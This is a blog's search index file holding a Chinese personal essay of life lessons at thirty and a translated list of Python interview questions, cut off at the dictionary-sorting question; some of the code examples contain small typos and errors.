search.xml

<?xml version="1.0" encoding="utf-8"?>
<search>
  <entry>
    <title>30-years-old</title>
    <url>/2020/02/28/30-years-old/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200228/zblPctz24xrE.png?imageslim" alt="mark"></p>
<p>如果生活是大海，那么其中的每天就像海浪，有的震撼，有的普通。</p>
<p>每年的反省都会发现很多让自己后悔不已的事情，往事并不如烟。</p>
<a id="more"></a>

<ol>
<li><p>相信命</p>
<p>信命不是极致的悲观、灰暗和迷信，而是理性又成熟深刻的价值观，知道山外有山，才能更加云淡风轻，每个人的起跑线不一样，个体的差异不因意志转移而改变，尊重客观事实才能更好的活自己。</p>
</li>
<li><p>信息差</p>
<p>都说现在互联网时代了，没有什么信息查和信息壁垒，其实信息差永远存在。这一点如果认识的更早一些就好了。天下所有靠培训教育来盈利的都是靠的信息差。</p>
</li>
<li><p>不要把所有的鸡蛋都放在一个篮子里</p>
<p>不要等到拥有几十万再去理财，把收入分成几份，消费，应急，储蓄，年轻的时候不要折腾股票和其他投资，在你认知不能驾驭你所有用的时候，这些拥有都将成为失去，老实把钱存起来，钱多一些，你的自信会更多一些，思维会越来越广。</p>
</li>
<li><p>降低自我预期的阈值</p>
<p>没有人能随便成功，降低预期能让自己好过不少，至少失败的时候能舒服一些，学会接受失败面对现实。</p>
</li>
<li><p>家庭合伙制是婚宴的本质</p>
<p>性格好的女人比漂亮、有才、有钱之类更加优势明显。</p>
</li>
<li><p>不要和老板做朋友</p>
<p>如果和老板称兄道弟，表面越好，后面撕逼就更严重。开始很美丽，结束没道理。</p>
</li>
<li><p>少买或者不买付费知识课程</p>
<p>90%的课程本质上都是垃圾，对你没有任何好处，所有的方法论和成功方式都不适合你，基本连可应用的场景都没有，知识付费本质上是贩卖焦虑，收智商税。省下这些时间读几本经典的书并总结。</p>
</li>
<li><p>买保险</p>
<p>保险是你人生变故后的最后一根救命稻草。</p>
</li>
<li><p>学习一项特长</p>
<p>趁早刻意练习，特长能够让你保持足够的竞争力和优势。</p>
</li>
<li><p>及时止损</p>
<p>错了就是错了，失败了就是失败了，及时抽离。</p>
</li>
<li><p>锻炼身体</p>
<p>这世界是你的，但最终是哪些身体好的。</p>
</li>
<li><p>享受孤独，学会独立思考</p>
<p>孤独并不可耻，每个人都是孤独的，只有自己了解自己。</p>
</li>
<li><p>创业</p>
<p>多去折腾，选择别人而不是被别人选择。</p>
</li>
<li><p>自信坚持</p>
<p>自信能让你获得更多的资源和快感。</p>
</li>
</ol>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>50-python-interview-questions-and-answers</title>
    <url>/2020/06/16/50-python-interview-questions-and-answers/</url>
    <content><![CDATA[<p>50 Python Interviwe Questions and Answers<br><img src="http://imgs.yrzdm.com/imgs/20200618/LE9hjRVnfL6W.png?imageslim" alt="mark"></p>
<blockquote>
<p>This post was written by Cameron Wilson, and was originally published at <a href='https://www.educative.io/blog' target="_blank" rel="noopener">Educative.io</a> 中文翻译由Roy在<a href='https://cx4.github.io'>cx4</a>首发，如需转载请注明出处。</p>
</blockquote>
<a id="more"></a>
<p>这篇文章涵盖有关Python编程语言的50个面试问题。  </p>
<h3 id="基础部分"><a href="#基础部分" class="headerlink" title="基础部分"></a>基础部分</h3><ul>
<li><a href="#1">list和tuple的区别是什么？</a></li>
<li><a href="#2">怎样转换list为tuple？</a></li>
<li><a href="#3">array和list的区别是什么？</a></li>
<li><a href="#4">Python是怎样进行内存管理的？</a></li>
<li><a href="#5">如何在Python中实现多线程？</a></li>
<li><a href="#6">什么是monkey patching？</a></li>
<li><a href="#7">什么是lambda函数，举例说明什么时候用匿名函数更好，什么时候不行？</a></li>
<li><a href="#8">什么是pickling和unpickling?</a></li>
<li><a href="#9">与嵌套列表相比Numpy数组有什么优势？</a></li>
<li><a href="#10">举例说明Python的继承。</a></li>
<li><a href="#11">python中的多态是什么？</a></li>
<li><a href="#12">举例说明range()和xrange()的区别。</a></li>
<li><a href="#13">举例说明Flask和Django的区别。</a></li>
<li><a href="#14">什么是PYTHONATH？</a></li>
<li><a href="#15">什么是PEP8？</a></li>
<li><a href="#16">什么是Python装饰器？</a></li>
<li><a href="#17">什么是init?</a></li>
<li><a href="#18">什么是三元运算符？</a></li>
<li><a href="#19">什么是全局变量和局部变量？</a></li>
<li><a href="#20">什么是@property?</a></li>
<li><a href="#21">try/except在python中是怎样使用的？</a></li>
<li><a href="#22">举例说明Python2和Python3的区别。</a></li>
<li><a href="#23">什么是join方法？</a></li>
<li><a href="#24">什么是字典理解？</a></li>
<li><a href="#25">怎样做一次深度copy？</a></li>
<li><a href="#26">怎样检查一个键是否在字典中？</a></li>
<li><a href="#27">如何在Python中实现记忆优化？</a></li>
<li><a href="#28">在Python中如何实现字典排序？</a></li>
<li><a href="#29">什么时候使用any()和all(),如何使用？</a></li>
<li><a href="#30">什么是python的文档字符串？</a></li>
<li><a href="#31">写一个python的函数并举例说明它是怎样运行的。</a></li>
<li><a href="#32">举例说明迭代器和生成器在Python中的区别。</a></li>
<li><a href="#33">Python中的defaultdict是什么？</a></li>
<li><a href="#34">什么是python的库？</a></li>
<li><a herf="#35">怎样转换一个list为array？</a><h2 id="代码部分"><a href="#代码部分" class="headerlink" title="代码部分"></a>代码部分</h2></li>
<li><a herf="#36">反转字符串</a></li>
<li><a herf="#37">检查一个字符串是否在另外一个字符串中</a></li>
<li><a herf="#38">在Python中实施广度优先搜索（BFS）</a></li>
<li><a herf="#39">在Python中实现深度优先搜索(DFS)</a></li>
<li><a herf="#40">实现通配符</a></li>
<li><a herf="#41">在Python中实施合并排序</a></li>
<li><a herf="#42">在Python中实现Dijkstra算法</a></li>
<li><a herf="#43">合并两个排序列表</a></li>
<li><a herf="#44">寻找两个和为‘K’的数字</a></li>
<li><a herf="#45">找到列表中第一个非重复整数</a></li>
<li><a herf="#46">查找链接列表的中间值</a></li>
<li><a herf="#47">颠倒队列中的前“k”个元素</a></li>
<li><a herf="#48">查找二叉搜索树（BST）的高度</a></li>
<li><a herf="#49">将最大堆转换为最小堆</a></li>
<li><a herf="#50">检测链表中的循环</a></li>
</ul>
<h3 id="1-list和tuple的区别"><a href="#1-list和tuple的区别" class="headerlink" title="1. list和tuple的区别"></a>1. <a name="1">list和tuple的区别</a></h3><table>
<thead>
<tr>
<th><strong>List</strong></th>
<th><strong>Tuple</strong></th>
</tr>
</thead>
<tbody><tr>
<td>列表由可变对象组成。 （创建后可以更改的对象）</td>
<td>元组由不可变的对象组成。 （创建后无法更改的对象）</td>
</tr>
<tr>
<td>列表占用很大的内存。</td>
<td>元组占用的内存很小。</td>
</tr>
<tr>
<td>列表存储在两个内存块中（一个是固定大小的，另一个是可变大小的，用于存储数据）</td>
<td>元组存储在单个内存块中。</td>
</tr>
<tr>
<td>创建列表的速度较慢，因为需要访问两个内存块。</td>
<td>创建元组比创建列表快。</td>
</tr>
<tr>
<td>列表中的元素可以删除或替换。</td>
<td>元组中的元素无法删除或替换。</td>
</tr>
<tr>
<td>列表中的数据存储在[]括号中。例如[1,2,3]</td>
<td>元组的数据存储在（）括号中。例如（1,2,3）</td>
</tr>
</tbody></table>
<blockquote>
<p>只要用户知道在元组中插入了什么，就应该使用元组。假设一所大学将其学生的信息存储在一个数据结构中；为了使此信息保持不变，应将其存储在元组中。由于列表为用户提供了更方便的可访问性，因此在需要存储类似类型的对象时应使用它们。例如，如果杂货店需要将所有乳制品存储在一个字段中，则应使用一个列表。</p>
</blockquote>
<h3 id="2-您如何将列表转换为元组？"><a href="#2-您如何将列表转换为元组？" class="headerlink" title="2. 您如何将列表转换为元组？"></a>2. <a name="2">您如何将列表转换为元组？</a></h3><figure class="highlight stylus"><table><tr><td class="code"><pre><code class="hljs stylus"><span class="hljs-selector-tag">a</span> = [<span class="hljs-number">50</span>,<span class="hljs-string">"hello"</span>,<span class="hljs-string">"Ok"</span>]<br><span class="hljs-selector-tag">b</span> = (<span class="hljs-selector-tag">a</span>[<span class="hljs-number">0</span>],<span class="hljs-selector-tag">a</span>[<span class="hljs-number">1</span>],<span class="hljs-selector-tag">a</span>[<span class="hljs-number">2</span>])<br></code></pre></td></tr></table></figure>
<h3 id="3-数组和列表的区别是什么？"><a href="#3-数组和列表的区别是什么？" class="headerlink" title="3. 数组和列表的区别是什么？"></a>3. <a name="3">数组和列表的区别是什么？</a></h3><table>
<thead>
<tr>
<th>List</th>
<th>Array</th>
</tr>
</thead>
<tbody><tr>
<td>Python列表非常灵活，可以保存任意数据。</td>
<td>Python数组只是C数组的一个薄包装。</td>
</tr>
<tr>
<td>列表是Python语法的一部分，因此不需要首先声明它们。</td>
<td>首先需要从其他库（即numpy）中导入或声明数组。</td>
</tr>
<tr>
<td>列表还可以以省时的方式快速调整大小。这是因为Python在初始化时会初始化列表中的一些额外元素。</td>
<td>数组无法调整大小。相反，需要将一个数组的值复制到另一个更大的数组中。</td>
</tr>
<tr>
<td>列表可以保存异构数据。</td>
<td>数组只能存储同质数据。它们的值具有统一的数据类型。</td>
</tr>
<tr>
<td>数学函数不能直接应用于列表。相反，必须将它们分别应用于每个元素。</td>
<td>数组是专门为算术计算而优化的。</td>
</tr>
<tr>
<td>由于为列表分配了一些额外的元素，因此可以消耗更多的内存，从而可以更快地附加项目。</td>
<td>由于数组保持其首次初始化时的大小，因此它们是紧凑的。</td>
</tr>
</tbody></table>
<h3 id="4-如何在Python中管理内存？"><a href="#4-如何在Python中管理内存？" class="headerlink" title="4. 如何在Python中管理内存？"></a>4. <a name="4">如何在Python中管理内存？</a></h3><ol>
<li>python中的内存管理由Python专用堆空间管理。所有Python对象和数据结构都位于私有堆中。程序员无权访问此私有堆。 python解释器代替了它。</li>
<li>Python对象的堆空间分配是由Python的内存管理器完成的。核心API允许访问一些工具，以便程序员进行编码。</li>
<li>Python还具有一个内置的垃圾收集器，该垃圾收集器回收所有未使用的内存，并使其可用于堆空间。<h3 id="5-如何在Python中实现多线程？"><a href="#5-如何在Python中实现多线程？" class="headerlink" title="5. 如何在Python中实现多线程？"></a>5. <a name="5">如何在Python中实现多线程？</a></h3></li>
<li>Python有一个多线程程序包，但是如果您想使用多线程来加快代码速度，那么使用它通常不是一个好主意。</li>
<li>Python具有称为全局解释器锁（GIL）的构造。 GIL确保您的“线程”只能在任何一次执行。线程获取GIL，做一些工作，然后将GIL传递到下一个线程。</li>
<li>这发生得非常快，因此在人眼看来，您的线程似乎是并行执行的，但实际上它们只是使用相同的CPU内核轮流执行。</li>
<li>所有这些GIL传递都会增加执行开销。这意味着，如果您想使代码运行更快，那么使用线程包通常不是一个好主意。<h3 id="6-什么是猴子修补？"><a href="#6-什么是猴子修补？" class="headerlink" title="6. 什么是猴子修补？"></a>6. <a name="6">什么是猴子修补？</a></h3>在Python中，术语“monkey patch”仅指运行时对类或模块的动态修改。<h3 id="7-什么是lambda函数？举例说明什么时候有用，什么时候没用。"><a href="#7-什么是lambda函数？举例说明什么时候有用，什么时候没用。" class="headerlink" title="7. 什么是lambda函数？举例说明什么时候有用，什么时候没用。"></a>7. <a name="7">什么是lambda函数？举例说明什么时候有用，什么时候没用。</a></h3>Lambda函数是一个小的匿名函数，它返回一个对象。<br>lambda返回的对象通常被分配给变量或用作其他较大函数的一部分。<br>lambda函数不是用于创建函数的常规def关键字，而是使用lambda关键字定义。<br>lambda的结构如下所示:<br><img src="http://imgs.yrzdm.com/imgs/20200618/TUW0HpzWB2ub.png?imageslim" alt="mark"><h4 id="使用lambda的目的："><a href="#使用lambda的目的：" class="headerlink" title="使用lambda的目的："></a>使用lambda的目的：</h4></li>
</ol>
<ul>
<li>Lambda比完整功能更具可读性，因为它可以内联编写。因此，当函数表达式较小时，最好使用lambda。</li>
<li>lambda函数的优点在于它们返回函数对象。</li>
<li>当与要求函数对象作为参数的map或filter等函数一起使用时，这使它们很有用。</li>
<li>当表达式超过一行时，Lambda无效。<h3 id="8-什么是pickling和unpickling"><a href="#8-什么是pickling和unpickling" class="headerlink" title="8. 什么是pickling和unpickling?"></a>8. <a name="8">什么是pickling和unpickling?</a></h3>Pickle模块接受任何Python对象并将其转换为字符串表示形式，然后使用转储函数将其转储到文件中，此过程称为pickling。<br>从存储的字符串表示形式检索原始Python对象的过程称为unpickling。<h3 id="9-与（嵌套）Python列表相比，NumPy数组有什么优势？"><a href="#9-与（嵌套）Python列表相比，NumPy数组有什么优势？" class="headerlink" title="9. 与（嵌套）Python列表相比，NumPy数组有什么优势？"></a>9. <a name="9">与（嵌套）Python列表相比，NumPy数组有什么优势？</a></h3></li>
</ul>
<ol>
<li>Python的列表是有效的通用容器。<br>它们支持（相当）高效的插入，删除，附加和连接，并且Python的列表表达式使它们易于构造和操作。</li>
<li>它们有一定的局限性：它们不支持“向量化”操作，例如逐元素加法和乘法，并且它们可以包含不同类型的对象这一事实意味着Python必须存储每个元素的类型信息，并且在操作时必须执行类型调度代码在每个元素上。</li>
<li>NumPy不仅效率更高，也更加方便。您可以免费获得许多矢量和矩阵运算，避免不必要的工作。</li>
<li>NumPy数组更快，您可以使用NumPy，FFT，卷积，快速搜索，基本统计信息，线性代数，直方图等内置大量内容。<h3 id="10-举例说明Python中的继承"><a href="#10-举例说明Python中的继承" class="headerlink" title="10. 举例说明Python中的继承"></a>10. <a name="10">举例说明Python中的继承</a></h3>继承允许一个类获取另一类的所有成员（例如属性和方法）。<br>继承提供了代码可重用性，使创建和维护应用程序变得更加容易。<br>我们从中继承的类称为超类，而继承的类称为派生/子类。</li>
<li>单一继承：派生类获取超类的单个成员。</li>
<li>多级继承：从超类A继承的派生类A1，和从B类继承的B2</li>
<li>层次继承：从一个超类可以继承任意数量的子类。</li>
<li>多重继承：派生类继承自多个超类。<h3 id="11-Python中的多态是什么？"><a href="#11-Python中的多态是什么？" class="headerlink" title="11. Python中的多态是什么？"></a>11. <a name="11">Python中的多态是什么？</a></h3>多态是指采取多种形式的能力。<br>因此，例如，如果父类具有一个名为ABC的方法，那么子类也可以具有一个具有相同名称和参数的ABC方法。<br>Python允许多态。</li>
</ol>
<h3 id="12-解释range（）和xrange（）之间的区别"><a href="#12-解释range（）和xrange（）之间的区别" class="headerlink" title="12. 解释range（）和xrange（）之间的区别"></a>12. <a name="12">解释range（）和xrange（）之间的区别</a></h3><p>在大多数情况下，xrange和range在功能方面完全相同。<br>它们都提供了一种生成整数列表供您使用的方法。<br>唯一的区别是range返回一个Python列表对象，而xrange返回一个xrange对象。<br>这意味着xrange实际上不会像range那样在运行时生成静态列表。<br>它通过一种称为yield的特殊技术根据需要创建值。<br>该技术与一种称为生成器的对象一起使用。</p>
<h3 id="13-解释Flask和Django之间的区别"><a href="#13-解释Flask和Django之间的区别" class="headerlink" title="13. 解释Flask和Django之间的区别"></a>13. <a name="13">解释Flask和Django之间的区别</a></h3><p><strong>Django</strong>是一个Python网络框架，提供了一个开放源代码的高级框架，“鼓励快速开发和简洁实用的设计”。<br>快速，安全且可扩展。Django提供了强大的社区支持和详细的文档。</br><br>该框架是一个包容性软件包，在您创建应用程序时，您将在其中获得管理面板，数据库界面和目录结构。<br>此外，它包括许多功能，因此您不必添加单独的库和依赖项。<br>它提供的一些功能包括用户身份验证，模板引擎，路由，数据库模式迁移等等。</br><br>Django框架非常灵活，您可以在其中与大型公司的MVP一起使用。<br>从某些角度来看，使用Django的一些最大的公司是Instagram，Dropbox，Pinterest和Spotify。</br></p>
<hr>
<p><strong>Flask</strong>被认为是一个微框架，是一个简约的Web框架。<br>它电量较低，这意味着它缺少Django等全栈框架提供的许多功能，例如网络模板引擎，帐户授权和身份验证。</br><br>Flask极简且轻巧，这意味着您可以在编写代码时添加所需的扩展和库，而不会被框架自动提供。<br>Flask背后的理念是，它仅提供构建应用程序所需的组件，因此您具有灵活性和控制力。<br>换句话说，它是不受限制的。<br>它提供的一些功能包括：一个内置int开发服务器，Restful请求分派，Http请求处理等等。</p>
<h3 id="14-什么是PYTHONPATH？"><a href="#14-什么是PYTHONPATH？" class="headerlink" title="14. 什么是PYTHONPATH？"></a>14. <a name="14">什么是PYTHONPATH？</a></h3><p>它是环境变量，在导入模块时使用。<br>每当导入模块时，都会查找PYTHONPATH以检查各个目录中是否存在导入的模块。<br>解释器使用它来确定要加载哪个模块。</p>
<h3 id="15-什么是PEP8？"><a href="#15-什么是PEP8？" class="headerlink" title="15. 什么是PEP8？"></a>15. <a name="15">什么是PEP8？</a></h3><p>PEP代表Python增强提案。<br>这是一组规则，用于指定如何格式化Python代码以实现最大的可读性。</p>
<h3 id="16-什么是Python装饰器？"><a href="#16-什么是Python装饰器？" class="headerlink" title="16. 什么是Python装饰器？"></a>16. <a name="16">什么是Python装饰器？</a></h3><p>装饰器是Python中的一种设计模式，允许用户在不修改其结构的情况下向现有对象添加新功能。<br>装饰器通常在要装饰的函数定义之前调用。</p>
<h3 id="17-什么是初始化init"><a href="#17-什么是初始化init" class="headerlink" title="17. 什么是初始化init"></a>17. <a name="17">什么是初始化init</a></h3><p>_init__是Python中的方法或构造函数。<br>创建类的新对象/实例时，将自动调用此方法以分配内存。<br>所有类都具有<strong>init</strong>方法。</p>
<h3 id="18-什么是三元运算符？"><a href="#18-什么是三元运算符？" class="headerlink" title="18. 什么是三元运算符？"></a>18. <a name="18">什么是三元运算符？</a></h3><p>三元运算符是用Python编写条件语句的一种方式。<br>顾名思义，此Python运算符由三个操作数组成。</p>
<blockquote>
<p>注意：三元运算符可以看作是if-else语句的简化的单行版本，用于测试条件。  </p>
</blockquote>
<h4 id="语法："><a href="#语法：" class="headerlink" title="语法："></a>语法：</h4><p>三元表达式包含三个操作式：</p>
<ol>
<li>条件语句：一个布尔表达式，其值为true或false</li>
<li><strong>true_val</strong>:如果表达式的计算结果为true，则将分配一个值。</li>
<li><strong>false_val</strong>: 如果表达式的结果为false，则分配一个值。<figure class="highlight ini"><table><tr><td class="code"><pre><code class="hljs ini"><span class="hljs-attr">var</span> = <span class="hljs-literal">true</span>_val if condition else <span class="hljs-literal">false</span>_val<br></code></pre></td></tr></table></figure>

</li>
</ol>
<h3 id="19-Python中的全局变量和局部变量是什么？"><a href="#19-Python中的全局变量和局部变量是什么？" class="headerlink" title="19. Python中的全局变量和局部变量是什么？"></a>19. <a name="19">Python中的全局变量和局部变量是什么？</a></h3><h4 id="全局变量"><a href="#全局变量" class="headerlink" title="全局变量"></a>全局变量</h4><p>在函数外部或全局空间中声明的变量称为全局变量。<br>程序中的任何函数都可以访问这些变量。</p>
<h4 id="局部变量"><a href="#局部变量" class="headerlink" title="局部变量"></a>局部变量</h4><p>在函数内部声明的任何变量都称为局部变量。<br>此变量存在于局部空间而不是全局空间中。</p>
<h3 id="20-Python中的-property是什么？"><a href="#20-Python中的-property是什么？" class="headerlink" title="20. Python中的@property是什么？"></a>20. <a name="20">Python中的@property是什么？</a></h3><p>@property是一个装饰器。<br>在Python中，装饰器使用户能够以相同的方式使用该类（而不管对其属性或方法所做的更改）。<br>@property装饰器允许像属性一样访问函数。</p>
<h3 id="21-在Python中如何使用try-except？"><a href="#21-在Python中如何使用try-except？" class="headerlink" title="21. 在Python中如何使用try/except？"></a>21. <a name="21">在Python中如何使用try/except？</a></h3><p>异常是程序执行时发生的错误。<br>发生错误时，程序将停止并生成异常，捕捉异常然后对其进行处理，以防止程序崩溃。</br><br>程序生成的异常在try块中捕获，并在except块中处理。</p>
<h3 id="22-解释Python-2和Python-3之间的区别"><a href="#22-解释Python-2和Python-3之间的区别" class="headerlink" title="22. 解释Python 2和Python 3之间的区别"></a>22. <a name="22">解释Python 2和Python 3之间的区别</a></h3><table>
<thead>
<tr>
<th>Python2</th>
<th>Python3</th>
</tr>
</thead>
<tbody><tr>
<td>字符串编码</br>Python 2将它们存储为ASCII。</br>Unicode是ASCII的超集，因此可以编码更多字符，包括外来字符。</td>
<td>字符串编码</br>Python 3默认将字符串存储为Unicode。</td>
</tr>
<tr>
<td>Python 2除法将floor函数应用于十进制输出并返回整数。</br>因此，将5除以2将返回floor（2.5）= 2。</td>
<td>Python 3中的除法返回期望的输出，即使它是十进制的。</td>
</tr>
<tr>
<td>Python 2打印不需要括号。</td>
<td>Python3需要在要打印的内容周围加上括号。</td>
</tr>
<tr>
<td>许多较旧的库是专门为Python 2构建的，并不“向上兼容”。</td>
<td>一些较新的库是专门为Python 3构建的，不适用于Python 2。</td>
</tr>
</tbody></table>
<h3 id="23-python中的join方法是什么？"><a href="#23-python中的join方法是什么？" class="headerlink" title="23. python中的join方法是什么？"></a>23. <a name="23">python中的join方法是什么？</a></h3><p>Python中的<strong>join</strong>方法采用可迭代数据结构的元素，并使用特定的字符串连接器值将它们连接在一起。  </p>
<h4 id="join是如何工作的？"><a href="#join是如何工作的？" class="headerlink" title="join是如何工作的？"></a>join是如何工作的？</h4><p>Python中的join方法是一个字符串方法，它通过使用特定的字符串作为连接器来连接字符串可迭代结构的元素，该结构还包含字符串或字符（数组，列表等）。<br><img src="http://imgs.yrzdm.com/imgs/20200618/r9WYoIj9YMNi.png?imageslim" alt="mark"></p>
<h3 id="24-什么是字典？"><a href="#24-什么是字典？" class="headerlink" title="24. 什么是字典？"></a>24. <a name="24">什么是字典？</a></h3><p>字典表达式是在Python中创建字典的一种方法。<br>它通过合并以列表或数组形式的两组数据来创建字典。<br>两个列表/数组之一的数据将作为字典的键，而第二个列表/数组的数据将作为值。<br>每个键充当每个值的唯一标识符，因此两个列表/数组的大小应相同。</p>
<figure class="highlight q"><table><tr><td class="code"><pre><code class="hljs q">NewDictionary = &#123;<span class="hljs-built_in">key</span>:<span class="hljs-built_in">value</span> for (<span class="hljs-built_in">key</span>,<span class="hljs-built_in">value</span>) in iterable&#125;<br></code></pre></td></tr></table></figure>
<h3 id="25-您将如何在Python中进行深层复制？"><a href="#25-您将如何在Python中进行深层复制？" class="headerlink" title="25. 您将如何在Python中进行深层复制？"></a>25. <a name="25">您将如何在Python中进行深层复制？</a></h3><p>深拷贝是指克隆对象。<br>当使用=运算符时，我们不克隆对象；<br>相反，我们将变量引用到相同的对象（也称为浅表副本）。</br><br>这意味着更改一个变量的值会影响另一个变量的值，因为它们引用（或指向）同一对象。<br>浅表副本与深表副本之间的区别仅适用于包含其他对象的对象，例如列表和类的实例。</p>
<h4 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h4><p>此函数将要克隆的对象作为唯一参数，并返回克隆。</p>
<h4 id="语法"><a href="#语法" class="headerlink" title="语法"></a>语法</h4><p>此函数将要克隆的对象作为唯一参数，并返回克隆。</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><code class="hljs dockerfile">a = <span class="hljs-keyword">copy</span>.<span class="bash">deepcopy(b)</span><br></code></pre></td></tr></table></figure>
<p><img src="http://imgs.yrzdm.com/imgs/20200618/Uu3AGRXfl04X.png?imageslim" alt="mark"></p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript"><span class="hljs-keyword">import</span> copy<br>x = [<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>]<br>y = x<br>x[<span class="hljs-number">0</span>] = <span class="hljs-number">5</span><br>x[<span class="hljs-number">1</span>] = <span class="hljs-number">15</span><br>print(<span class="hljs-string">"shallow copy:"</span>,y)<br>a = [<span class="hljs-number">10</span>,<span class="hljs-number">20</span>,<span class="hljs-number">30</span>]<br>b = copy.deepcopy(a)<br>a[<span class="hljs-number">1</span>] = <span class="hljs-number">70</span><br>print(<span class="hljs-string">"deep copy:"</span>,b)<br>Output:<br>shallow copy:[<span class="hljs-number">5</span>,<span class="hljs-number">15</span>,<span class="hljs-number">3</span>]<br>deep copy:[<span class="hljs-number">10</span>,<span class="hljs-number">20</span>,<span class="hljs-number">30</span>]<br></code></pre></td></tr></table></figure>

<h3 id="26-如何检查Python字典中是否存在键？"><a href="#26-如何检查Python字典中是否存在键？" class="headerlink" title="26. 如何检查Python字典中是否存在键？"></a>26. <a name="26">如何检查Python字典中是否存在键？</a></h3><p>一种安全的做法是在提取该键的值之前检查该键是否在字典中存在。<br>为此，Python提供了两个内置函数：<br><code>has_key()</code><br>如果字典中有给定的键，则<code>has_key</code>方法返回<code>true</code>；否则，返回<code>true</code>。<br>否则，它返回<code>false</code>。<br><code>if-in</code>表达式<br>此方法使用<code>if-in</code>语句检查字典中是否存在给定键。</p>
<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">Fruits = [<span class="hljs-string">'a'</span>:<span class="hljs-string">"apple"</span>,<span class="hljs-string">'b'</span>:<span class="hljs-string">"banana"</span>,<span class="hljs-string">'c'</span>:<span class="hljs-string">"carrot"</span>]<br>key_to_lookup = <span class="hljs-string">'a'</span><br><span class="hljs-keyword">if</span> key_to_lookup <span class="hljs-keyword">in</span> Fruits:<br>  <span class="hljs-builtin-name">print</span>(<span class="hljs-string">"exists"</span>)<br><span class="hljs-keyword">else</span>:<br>  <span class="hljs-builtin-name">print</span>(<span class="hljs-string">"does not exists"</span>)<br></code></pre></td></tr></table></figure>

<h3 id="27-您将如何在Python中实现记忆化？"><a href="#27-您将如何在Python中实现记忆化？" class="headerlink" title="27. 您将如何在Python中实现记忆化？"></a>27. <a name="27">您将如何在Python中实现记忆化？</a></h3><h4 id="对于计算量比较大的代码："><a href="#对于计算量比较大的代码：" class="headerlink" title="对于计算量比较大的代码："></a>对于计算量比较大的代码：</h4><figure class="highlight maxima"><table><tr><td class="code"><pre><code class="hljs maxima">#Fibonacci Numbers<br>def <span class="hljs-built_in">fib</span>(<span class="hljs-built_in">num</span>):<br>  <span class="hljs-keyword">if</span> <span class="hljs-built_in">num</span> == <span class="hljs-number">0</span>:<br>    <span class="hljs-built_in">return</span> <span class="hljs-number">0</span><br>  elif <span class="hljs-built_in">num</span> == <span class="hljs-number">1</span>:<br>    <span class="hljs-built_in">return</span> <span class="hljs-number">1</span><br>  <span class="hljs-built_in">return</span> <span class="hljs-built_in">fib</span>(<span class="hljs-built_in">num</span> - <span class="hljs-number">1</span>) + <span class="hljs-built_in">fib</span>(n-<span class="hljs-number">1</span>)<br></code></pre></td></tr></table></figure>
<p>记忆化可以通过Python装饰器实现<br>这是完整的实现。</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><code class="hljs sql">import timeit<br><br>def memoize_fib(func):<br>    <span class="hljs-keyword">cache</span> = &#123;&#125;<br>    <span class="hljs-keyword">def</span> <span class="hljs-keyword">inner</span>(arg):<br>        <span class="hljs-keyword">if</span> arg <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> <span class="hljs-keyword">cache</span>:            <br>            <span class="hljs-keyword">cache</span>[arg] = func(arg)<br>        <span class="hljs-keyword">return</span> <span class="hljs-keyword">cache</span>[arg]<br>    <span class="hljs-keyword">return</span> <span class="hljs-keyword">inner</span><br><br><br><span class="hljs-keyword">def</span> fib(<span class="hljs-keyword">num</span>):<br>    <span class="hljs-keyword">if</span> <span class="hljs-keyword">num</span> == <span class="hljs-number">0</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span><br>    elif <span class="hljs-keyword">num</span> == <span class="hljs-number">1</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span><br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">return</span> fib(<span class="hljs-keyword">num</span><span class="hljs-number">-1</span>) + fib(<span class="hljs-keyword">num</span><span class="hljs-number">-2</span>)<br><br>fib = memoize_fib(fib)<br><br><br>print(timeit.timeit(<span class="hljs-string">'fib(30)'</span>, globals=globals(), <span class="hljs-built_in">number</span>=<span class="hljs-number">1</span>))<br>print(timeit.timeit(<span class="hljs-string">'fib(30)'</span>, globals=globals(), <span class="hljs-built_in">number</span>=<span class="hljs-number">1</span>))<br>print(timeit.timeit(<span class="hljs-string">'fib(30)'</span>, globals=globals(), <span class="hljs-built_in">number</span>=<span class="hljs-number">1</span>))<br></code></pre></td></tr></table></figure>
<h3 id="28-您将如何在Python中对字典进行排序？"><a href="#28-您将如何在Python中对字典进行排序？" class="headerlink" title="28. 您将如何在Python中对字典进行排序？"></a>28. <a name="28">您将如何在Python中对字典进行排序？</a></h3><p>我们可以通过键或值对这种类型的数据进行排序，这可以通过使用sorted（）函数来完成。<br>首先，我们需要知道如何从字典中检索数据以传递给该函数。  </p>
<p>有两种从字典中获取数据的基本方法：  </p>
<ul>
<li>Dictionary.keys（）：仅以任意顺序返回键。</li>
<li>Dictionary.values（）：返回值列表。</li>
<li>Dictionary.items（）：返回所有数据作为键值对列表。<h4 id="Sorted（）语法"><a href="#Sorted（）语法" class="headerlink" title="Sorted（）语法"></a>Sorted（）语法</h4>此方法采用一个强制性参数和两个可选参数：  </li>
</ul>
<p><strong>数据（必填）</strong>：要排序的数据。<br>我们将使用上述方法之一传递我们检索到的数据。<br><strong>键（可选）</strong>：我们要根据其对列表进行排序的功能（或条件）。<br>例如，条件可以是根据字符串的长度或任何其他任意函数对字符串进行排序。<br>此功能应用于列表的每个元素，并对结果数据进行排序。<br>将其保留为空将根据其原始值对列表进行排序。<br><strong>反向（可选）</strong>：将第三个参数设置为true将按降序对列表进行排序。<br>保留此空的升序排列。<br><code>keys()</code>  </p>
